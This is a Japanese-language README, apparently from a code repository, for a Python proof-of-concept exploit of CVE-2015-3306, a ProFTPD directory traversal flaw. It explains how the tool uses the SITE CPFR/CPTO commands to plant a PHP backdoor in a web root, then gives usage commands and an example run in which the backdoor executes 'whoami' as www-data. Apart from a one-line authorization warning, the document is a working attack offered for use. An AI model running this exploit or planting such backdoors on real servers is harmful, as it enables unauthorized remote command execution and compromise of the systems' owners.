
このリポジトリには、CVE-2015-3306 用の Python による Proof of Concept(PoC)エクスプロイトが含まれています。
⚠️ 警告: このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。無断でのエクスプロイトは違法です。
Mohamed EL-KHAROUATI
CVE-2015-3306 は、ProFTPD 1.3.5b 以前に存在するディレクトリトラバーサルの脆弱性です。このエクスプロイトを使用すると、任意のファイルをコピーし、Webルートに PHP バックドアを配置できます。このバックドアは、任意のシェルコマンドを実行できます。
SITE CPFR/CPTO FTP コマンドを介してディレクトリトラバーサルの脆弱性を悪用します。backdoor.php)を配置します。--rcommand によるカスタムコマンドをサポートします。requests ライブラリ(pip install requests)# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>
# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami
# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip>
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done